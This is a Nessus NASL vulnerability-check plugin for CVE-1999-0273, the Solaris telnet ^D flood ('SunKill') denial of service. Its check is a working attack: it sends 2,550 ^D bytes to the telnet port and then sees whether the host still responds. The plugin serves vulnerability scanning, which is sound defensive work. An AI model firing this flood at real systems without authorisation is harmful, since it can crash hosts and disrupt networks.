Solaris ^D Character Remote Telnet Service DoS

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

# "SunKill"

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(10272);
  script_version("1.31");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-1999-0273");

  script_name(english:"Solaris ^D Character Remote Telnet Service DoS");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is vulnerable to denial of service.");
  script_set_attribute(attribute:"description", value:
"It was possible to make the remote Sun crash by flooding it with ^D
characters instead of entering our login.

This flaw allows an attacker to prevent your network from working
properly.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1997/Dec/71");
  script_set_attribute(attribute:"solution", value:
"Upgrade your telnet server and filter the incoming traffic to this
port.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");

  script_set_attribute(attribute:"vuln_publication_date", value:"1998/01/01");
  script_set_attribute(attribute:"plugin_publication_date", value:"1999/06/22");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:sun:solaris");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_KILL_HOST);
  script_family(english:"Denial of Service");

  script_copyright(english:"This script is Copyright (C) 1999-2022 Tenable Network Security, Inc.");

  script_dependencies("find_service1.nasl", "wingate.nasl");
  script_require_keys("Settings/ParanoidReport");
  script_exclude_keys("wingate/enabled");
  script_require_ports(23, "Services/telnet");

  exit(0);
}


# Wingate doesnt establish properly the telnet
# session, so if we know that we are facing it,
# we go away

include("audit.inc");
include("global_settings.inc");
include("telnet_func.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

wingate = get_kb_item("wingate/enabled");
if(wingate)exit(0);

port = get_kb_item("Services/telnet");
if(!port)port = 23;
if(get_port_state(port))
{
 soc = open_sock_tcp(port);
 if(soc)
 {
  c = telnet_negotiate(socket:soc);
  d = raw_string(0x04);
  data = crap(length:2550, data:d);
  send(socket:soc, data:data);
  close(soc);
  soc2 = NULL;
  for (i = 0; i < 3 && ! soc2; i ++)
  {
    sleep(i);
    soc2 = open_sock_tcp(port);
  }
  if(!soc2){
  	set_kb_item(name:"Host/dead", value:TRUE);
	security_warning(port);
	}
  else close(soc2);
  }
}